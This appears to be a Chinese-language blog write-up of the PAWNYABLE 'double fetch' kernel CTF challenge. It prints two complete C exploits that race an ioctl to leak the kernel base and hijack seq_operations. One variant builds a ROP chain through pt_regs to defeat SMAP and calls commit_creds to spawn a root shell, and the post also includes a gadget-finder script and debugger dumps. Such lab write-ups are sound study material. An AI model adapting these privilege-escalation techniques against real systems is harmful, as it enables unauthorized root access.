PAWNYABLE kernel double fetch 笔记
/ 13 min read
Table of Contents
感觉就像是 toctou?先检查后使用?
static long module_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) { if (verify_request((void*)arg)) return -EINVAL;
switch (cmd) { case CMD_GET: return copy_data_to_user(filp, (void*)arg); case CMD_SET: return copy_data_from_user(filp, (void*)arg); default: return -EINVAL; }}如果没开 smap
堆块的范围是 kmalloc-32,可以用 seq structure 获得 kernel base。
寻找 gadget 来改变 rsp 的时候发现,既没有什么可以控制的寄存器,有没有固定的地址,于是就使用一个 mov esp, 0x39000000; ret; 的 gadget 来进行跳转。
BUG: unable to handle page fault for address: 0000000123456789#PF: supervisor instruction fetch in kernel mode#PF: error_code(0x0010) - not-present pagePGD 8000000001fb2067 P4D 8000000001fb2067 PUD 0Oops: 0010 [#1] PREEMPT SMP PTICPU: 1 PID: 123 Comm: exp Tainted: G O 5.17.1 #3Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian4RIP: 0010:0x123456789Code: Unable to access opcode bytes at RIP 0x12345675f.RSP: 0018:ffff9c4b40183de8 EFLAGS: 00000246RAX: 0000000123456789 RBX: ffff9c4b40183e88 RCX: 00000000001119c1RDX: 0000000000111981 RSI: ffff893381ff2c58 RDI: ffff893381ff2c30RBP: ffff9c4b40183e40 R08: ffff893381ee0000 R09: 0000000000000000R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000R13: 0000011111111111 R14: ffff893381ff2c58 R15: ffff893381ff2c30FS: 00000000004cf3c0(0000) GS:ffff893382500000(0000) knlGS:0000000000000000CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033CR2: 0000000123456789 CR3: 0000000001ff8000 CR4: 00000000001006e0exp 跟之前的思路差不多其实
#include <fcntl.h>#include <inttypes.h>#include <pthread.h>#include <stdio.h>#include <string.h>#include <sys/ioctl.h>#include <sys/mman.h>#include <unistd.h>
#define CMD_GET 0xdec50001#define CMD_SET 0xdec50002#define LEAK_SIZE 0x100#define SEQ_SIZE 0x100
typedef struct { char *ptr; uint64_t len;} request_t;
int fd;request_t req;int race_win = 0;int seq_fd[SEQ_SIZE];char buf[0x100] = {0};
uint64_t user_cs, user_ss, user_rflags, user_sp;uint64_t kbase;uint64_t commit_creds = 0x72810;uint64_t prepare_kernel_cred = 0x729b0;uint64_t srrartu = 0x800e10;uint64_t modprobe_path = 0xe37e60;uint64_t pop_rdi_ret = 0x9b0cd;uint64_t pop_rcx_ret = 0x10d88b;uint64_t mov_rdi_rax_ret = 0x63d0ab;uint64_t swapgs = 0x63c5ae;// 0xffffffff8152027a: mov esp, 0x39000000; ret;uint64_t mov_esp_x_ret = 0x52027a;uint64_t nop_ret = 0xd5f;
void save_status() { asm("movq %%cs, %0\n\t" "movq %%ss, %1\n\t" "movq %%rsp, %3\n\t" "pushfq\n\t" "popq %2\n\t" : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp) : // no input : "memory");}
void print_hex(char *name, uint64_t addr) { printf("%s 0x%" PRIx64 "\n", name, addr);}
void *race(void *) { while (!race_win) { req.len = LEAK_SIZE; usleep(1); }}
void race_read(int len, char *buf) { race_win = 0; pthread_t t; pthread_create(&t, NULL, race, NULL); req.ptr = buf;
for (int i = 0; i < 0x90000; i++) { req.len = 0x20; if (ioctl(fd, CMD_GET, &req) == 0 && *(uint64_t *)(buf + 0x20)) { for (int j = 0; j < LEAK_SIZE; j += 8) { print_hex("leak", *(uint64_t *)(buf + j)); } race_win = 1; break; } } race_win = 1; pthread_join(t, NULL);}
void race_write(int len, char *buf) { race_win = 0; pthread_t t; pthread_create(&t, NULL, race, NULL); req.ptr = buf;
for (int i = 0; i < 0x90000; i++) { req.len = 0x20; ioctl(fd, CMD_SET, &req); } race_win = 1; pthread_join(t, NULL);}
void binsh() { puts("get shell"); char *argv[] = {"/bin/sh", NULL}; char *envp[] = {NULL}; execve("/bin/sh", argv, envp);}
void krop_without_smap() { uint64_t rop[] = {pop_rdi_ret + kbase, 0, prepare_kernel_cred + kbase, pop_rcx_ret + kbase, 0, mov_rdi_rax_ret + kbase, commit_creds + kbase, srrartu + kbase + 22, 0x1, 0x2, (uint64_t)&binsh, user_cs, user_rflags, user_sp, user_ss};
char *rop_buf = mmap((char *)0x39000000 - 0x1000, 0x2000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
memcpy((char *)0x39000000, &rop, sizeof(rop));
*(uint64_t *)(buf + 0x20) = mov_esp_x_ret + kbase; race_write(0x100, buf);
for (int i = SEQ_SIZE / 2; i < SEQ_SIZE; i++) { read(seq_fd[i], (char *)0x11111111111, 0x22222222222); }}
int main() { save_status(); for (int i = 0; i < SEQ_SIZE / 2; i++) { seq_fd[i] = open("/proc/self/stat", O_RDONLY); } fd = open("/dev/dexter", O_RDWR); for (int i = SEQ_SIZE / 2; i < SEQ_SIZE; i++) { seq_fd[i] = open("/proc/self/stat", O_RDONLY); } race_read(0x100, buf);
kbase = *(uint64_t *)(buf + 0x20) - 0x170f80;
krop_without_smap();}如果开启了 smap 呢
参考这个思路 Linux Kernel PWN | 040302 Pawnyable之双取 和 Kernel Pwn Struct seq_operations and Struct pt_regs - Wings 的博客
pt_regs
系统调用陷入内核时, 会在内核栈上保存用户态 (准确来说是 trampoline 时) 的寄存器, 以便后续恢复. 这些寄存器在内核栈底形成了一个称为 pt_regs 的结构…我们可以跳转到这里!
pt_regs 位置
pt_regs 的位置在哪里…怎么还能找到两个差不多的,不过其中一个地址距离 rsp 比较远,另一个近一点只有 0x170。
用这个寄存器布置来测试
__asm__( "mov r15, 0xbeefdead;" "mov r14, 0x11111111;" "mov r13, 0x22222222;" "mov r12, 0x33333333;" "mov rbp, 0x44444444;" "mov rbx, 0x55555555;" "mov r11, 0x66666666;" "mov r10, 0x77777777;" "mov r9, 0x88888888;" "mov r8, 0x99999999;" "xor rax, rax;" "mov rcx, 0xaaaaaaaa;" "mov rdx, 8;" "mov rsi, rsp;" "mov rdi, 132;" "syscall" );在内存里面搜索
pwndbg> search -8 0xbeefdeadSearching for value: b'\xad\xde\xef\xbe\x00\x00\x00\x00'[pt_401] 0x401f3a lodsd eax, dword ptr [rsi][pt_ffff91e901fbb] 0xffff91e901fc5f58 0xbeefdead[pt_ffff91e901fe1] 0xffff91e902556f3a 0xbeefdead[pt_ffffa3dd80190] 0xffffa3dd80193f58 0xbeefdead
pwndbg> x/10gx 0xffffa3dd80193f580xffffa3dd80193f58: 0x00000000beefdead 0x00000000111111110xffffa3dd80193f68: 0x0000000022222222 0x00000000333333330xffffa3dd80193f78: 0x0000000044444444 0x00000000555555550xffffa3dd80193f88: 0x0000000000000246 0x00000000777777770xffffa3dd80193f98: 0x0000000088888888 0x0000000099999999
pwndbg> x/10gx 0xffff91e901fc5f580xffff91e901fc5f58: 0x00000000beefdead 0x00000000111111110xffff91e901fc5f68: 0x0000000022222222 0x00000000333333330xffff91e901fc5f78: 0x0000000044444444 0x00000000555555550xffff91e901fc5f88: 0x0000000000000246 0x00000000777777770xffff91e901fc5f98: 0x0000000088888888 0x0000000099999999
pwndbg> p $rsp$4 = (void *) 0xffffa3dd80193de8pwndbg> p/x 0xffffa3dd80193f58 - 0xffffa3dd80193de8$5 = 0x170如何跳转到 pt_regs
用 gdb 测试的偏移尝试直接加 rsp 跳转过去,但是用正则表达式 ropr vmlinux -p -n -R "add rsp, 0x1[34578]\d" -u > rop_dump.txt 可以找到:
0xffffffff81063aed: add rsp, 0x188; pop rbx; pop r12; pop rbp; ret; 找到最接近的是,不太够用。0xffffffff811eed5d: add rsp, 0x148; pop r12; pop r13; pop r14; pop rbp; ret; 不行,刚好差一个...0xffffffff8123b9fe: add rsp, 0x178; mov eax, r12d; pop rbx; pop r12; pop rbp; ret; 这个太少了...只好自己写了一个脚本来找…
import osfrom typing import Dictfrom capstone import Cs, CS_ARCH_X86, CS_MODE_64import argparseimport pwnfrom elftools.elf.elffile import ELFFile
RET_OPCODE = b"\xc3"
def parse_args(): parser = argparse.ArgumentParser( description="Find and disassemble sequences in a binary file." ) parser.add_argument("binary", help="Path to the binary file to search.") parser.add_argument("-i", "--inst", help="instruction to search") return parser.parse_args()
def get_text_segment_offset_and_size(file_path): with open(file_path, 'rb') as f: elf = ELFFile(f)
for section in elf.iter_sections(): if section.name == '.text': return section.header.sh_offset, section.header.sh_size
print(".text section not found in the file.") return None, None
def assemble_inst(inst: str): pwn.context.arch = "amd64" return pwn.asm(inst)
def find_sequences(file_path, inst): with open(file_path, "rb") as f: binary_data = f.read()
target_inst = assemble_inst(inst) text_offset, _ = get_text_segment_offset_and_size(file_path)
sequences: Dict[int, bytes] = {} index = 0 while index < len(binary_data): index = binary_data.find(target_inst, index) if index == -1: break
start_index = index end_index = binary_data.find(RET_OPCODE, start_index) if end_index == -1: break end_index += len(RET_OPCODE)
sequences.setdefault(start_index-text_offset, binary_data[start_index:end_index]) index = end_index
return sequences
def disassemble_sequences(sequences): md = Cs(CS_ARCH_X86, CS_MODE_64) for addr, seq in sequences.items(): print(f"Machine code: {seq.hex()}") print("Disassembly:") for instr in md.disasm(seq, addr): print(f"0x{instr.address:x}:\t{instr.mnemonic}\t{instr.op_str}") print("-" * 40)
if __name__ == "__main__": args = parse_args() if not os.path.exists(args.binary): print(f"Error: File '{args.binary}' not found!") else: sequences = find_sequences(args.binary, args.inst) if sequences: disassemble_sequences(sequences) else: print("No matching sequences found.")这样就可以找多多一点的 gadget
(pwn) [qemu] python3 find_inst.py vmlinux -i "add rsp, 0x140" 10:44:09Machine code: 4881c4400100004489c85b415c415d415e415f5dc3Disassembly:0xbf813: add rsp, 0x1400xbf81a: mov eax, r9d0xbf81d: pop rbx0xbf81e: pop r120xbf820: pop r130xbf822: pop r140xbf824: pop r150xbf826: pop rbp0xbf827: ret----------------------------------------Machine code: 4881c44001000031c05b415c415d415e415f5dc3Disassembly:0x1e10b6: add rsp, 0x1400x1e10bd: xor eax, eax0x1e10bf: pop rbx0x1e10c0: pop r120x1e10c2: pop r130x1e10c4: pop r140x1e10c6: pop r150x1e10c8: pop rbp0x1e10c9: ret----------------------------------------布置 rop
其实也就只有 6 个 gadget 可以控制,要怎么写出来 6 个 gadget 的 rop 呢?
这里可以用 commit_creds(&init_cred) 来提权, 然后可以找 swapgs; iretq 这种 gadget, 剩下的像 rip, cs, flags, rsp, ss 等回落需要的值, 只需要设置 rsp 就行. iretq 回到用户态, 触发段错误, 用户态捕获段错误信号, 在 handle 函数中启动 root shell 即可.
pop_rdi_retinit_credcommit_credswapgs_restore_regs_and_return_to_usermodeinit_cred 这个地址怎么找…? Page-level UAF - CTF Wiki
不过
init_cred的符号有的时候是不在/proc/kallsyms中导出的,我们在调试时未必能够获得其地址,因此这里笔者选择通过解析task_struct的方式向上一直找到init进程(所有进程的父进程)的task_struct,从而获得init_cred的地址。
比如说:
先找到当前进程的 task_structure: 这里的偏移是看了源码猜的 sched.h - include/linux/sched.h - Linux source code v6.2 - Bootlin Elixir Cross Referencer
在 pid 边上是 real_parent 的 task_struct 所以挺好定位父进程的 task_struct。
pid_t pid; pid_t tgid; /* Real parent process: */ struct task_struct __rcu *real_parent;
直到遇到 pid 为 0 的进程,就可以找到 init cred 是 0xffffffffa4237440 了~
pwndbg> x/10gx 0xffffffffa4212580 + 0x3f00xffffffffa4212970: 0x0000000000000000 0x00000000000000000xffffffffa4212980: 0xffffffffa4212580 0xffffffffa42125800xffffffffa4212990: 0xffff93ddc1090420 0xffff93ddc10910200xffffffffa42129a0: 0xffffffffa42129a0 0xffffffffa42129a00xffffffffa42129b0: 0xffffffffa4212580 0xffffffffa42129b8pwndbg> x/10gx 0xffffffffa4212580 + 0x3f0 + 0x1c00xffffffffa4212b30: 0xffffffffa4237440 0xffffffffa42374400xffffffffa4212b40: 0x2f72657070617773 0x00000000000000300xffffffffa4212b50: 0x0000000000000000 0x00000000000000000xffffffffa4212b60: 0x0000000000000000 0x00000000000000000xffffffffa4212b70: 0xffffffffa42b0e80 0xffffffffa42b0980pwndbg> x/10gx 0xffffffffa42374400xffffffffa4237440: 0x0000000000000004 0x00000000000000000xffffffffa4237450: 0x0000000000000000 0x00000000000000000xffffffffa4237460: 0x0000000000000000 0x00000000000000000xffffffffa4237470: 0x000001ffffffffff 0x000001ffffffffff0xffffffffa4237480: 0x000001ffffffffff 0x0000000000000000好现在 rop 布置的有模样了:
───────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────── 0xffffffffbd8bf81e pop r12 R12 => 0xffffaee500193f48 0xffffffffbd8bf820 pop r13 R13 => 0xffffffffbde3c543 0xffffffffbd8bf822 pop r14 R14 => 0 0xffffffffbd8bf824 pop r15 R15 => 0 0xffffffffbd8bf826 pop rbp RBP => 0xffffffffbe00007c ► 0xffffffffbd8bf827 ret <0xffffffffbd89b0cd> ↓ 0xffffffffbd89b0cd pop rdi RDI => 0xffffffffbe637440 0xffffffffbd89b0ce ret <0xffffffffbd872810> ↓ 0xffffffffbd872810 push rbp 0xffffffffbd872811 mov rbp, rsp RBP => 0xffffaee500193f68 —▸ 0xffffffffbe00007c ◂— nop dword ptr [rax + rax] 0xffffffffbd872814 push r13────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────00:0000│ rsp 0xffffaee500193f58 —▸ 0xffffffffbd89b0cd ◂— pop rdi01:0008│ 0xffffaee500193f60 —▸ 0xffffffffbe637440 ◂— 402:0010│ 0xffffaee500193f68 —▸ 0xffffffffbd872810 ◂— push rbp03:0018│ 0xffffaee500193f70 —▸ 0xffffffffbe000e26 ◂— mov rdi, rsp04:0020│ 0xffffaee500193f78 ◂— 0x44444444 /* 'DDDD' */05:0028│ 0xffffaee500193f80 ◂— 0x55555555 /* 'UUUU' */06:0030│ 0xffffaee500193f88 ◂— 0x24607:0038│ 0xffffaee500193f90 ◂— 0x33 /* '3' */exp 如下:
#include <fcntl.h>#include <inttypes.h>#include <pthread.h>#include <stdio.h>#include <string.h>#include <sys/ioctl.h>#include <sys/mman.h>#include <unistd.h>#include <sys/prctl.h>#include <signal.h>
#define CMD_GET 0xdec50001#define CMD_SET 0xdec50002#define LEAK_SIZE 0x100#define SEQ_SIZE 0x100
typedef struct { char *ptr; uint64_t len;} request_t;
int fd;request_t req;int race_win = 0;int seq_fd[SEQ_SIZE];char buf[0x100] = {0};
uint64_t user_cs, user_ss, user_rflags, user_sp;uint64_t kbase;uint64_t commit_creds = 0x72810;uint64_t prepare_kernel_cred = 0x729b0;uint64_t srrartu = 0x800e10;uint64_t modprobe_path = 0xe37e60;uint64_t pop_rdi_ret = 0x9b0cd;uint64_t pop_rcx_ret = 0x10d88b;uint64_t mov_rdi_rax_ret = 0x63d0ab;uint64_t swapgs = 0x63c5ae;// 0xffffffff8152027a: mov esp, 0x39000000; ret;uint64_t mov_esp_x_ret = 0x52027a;uint64_t nop_ret = 0xd5f;// 0xffffffff8123b9fe: add rsp, 0x178; mov eax, r12d; pop rbx; pop r12; pop rbp; ret;uint64_t add_rsp = 0xbf813;uint64_t init_cred = 0xe37440;
void save_status() { asm("mov %0, cs;" "mov %1, ss;" "mov %3, rsp;" "pushf;" "pop %2;" : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp) : // no input : "memory");}
void print_hex(char *name, uint64_t addr) { printf("%s 0x%" PRIx64 "\n", name, addr);}
void *race(void *) { while (!race_win) { req.len = LEAK_SIZE; usleep(1); }}
void race_read(int len, char *buf) { race_win = 0; pthread_t t; pthread_create(&t, NULL, race, NULL); req.ptr = buf;
for (int i = 0; i < 0x90000; i++) { req.len = 0x20; if (ioctl(fd, CMD_GET, &req) == 0 && *(uint64_t *)(buf + 0x20)) { for (int j = 0; j < LEAK_SIZE; j += 8) { print_hex("leak", *(uint64_t *)(buf + j)); } race_win = 1; break; } } race_win = 1; pthread_join(t, NULL);}
void race_write(int len, char *buf) { race_win = 0; pthread_t t; pthread_create(&t, NULL, race, NULL); req.ptr = buf;
for (int i = 0; i < 0x90000; i++) { req.len = 0x20; ioctl(fd, CMD_SET, &req); } race_win = 1; pthread_join(t, NULL);}
void binsh() { puts("get shell"); char *argv[] = {"/bin/sh", NULL}; char *envp[] = {NULL}; execve("/bin/sh", argv, envp);}
void krop_without_smap() { uint64_t rop[] = {pop_rdi_ret + kbase, 0, prepare_kernel_cred + kbase, pop_rcx_ret + kbase, 0, mov_rdi_rax_ret + kbase, commit_creds + kbase, srrartu + kbase + 22, 0x1, 0x2, (uint64_t)&binsh, user_cs, user_rflags, user_sp, user_ss};
char *rop_buf = mmap((char *)0x39000000 - 0x1000, 0x2000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
memcpy((char *)0x39000000, &rop, sizeof(rop));
*(uint64_t *)(buf + 0x20) = mov_esp_x_ret + kbase; race_write(0x100, buf); for (int i = SEQ_SIZE / 2; i < SEQ_SIZE; i++) { printf("vuln seq index %d", seq_fd[i]); read(seq_fd[i], (char *)0x11111111111, 0x22222222222); }
}
uint64_t binsh_addr = (uint64_t)&binsh;
void hack_pt_rags() { *(uint64_t *)(buf + 0x20) = add_rsp + kbase; race_write(0x100, buf);
print_hex("add rsp", add_rsp + kbase); prctl(PR_SET_NAME, "giacomo"); signal(SIGSEGV, binsh);
pop_rdi_ret += kbase; init_cred += kbase; commit_creds += kbase; srrartu += kbase + 22; print_hex("srrartu", srrartu);
getchar();
__asm__( "mov r15, pop_rdi_ret;" "mov r14, init_cred;" "mov r13, commit_creds;" "mov r12, srrartu;" "mov rbp, 0x44444444;" "mov rbx, 0x55555555;" "mov r11, 0x66666666;" "mov r10, 0x77777777;" "mov r9, 0x88888888;" "mov r8, user_sp;" "xor rax, rax;" "mov rcx, 0xaaaaaaaa;" "mov rdx, 8;" "mov rsi, rsp;" "mov rdi, 132;" "syscall" );}
int main() { save_status(); for (int i = 0; i < SEQ_SIZE / 2; i++) { seq_fd[i] = open("/proc/self/stat", O_RDONLY); } fd = open("/dev/dexter", O_RDWR); for (int i = SEQ_SIZE / 2; i < SEQ_SIZE; i++) { seq_fd[i] = open("/proc/self/stat", O_RDONLY); } race_read(0x100, buf);
kbase = *(uint64_t *)(buf + 0x20) - 0x170f80;
// krop_without_smap();
hack_pt_rags();}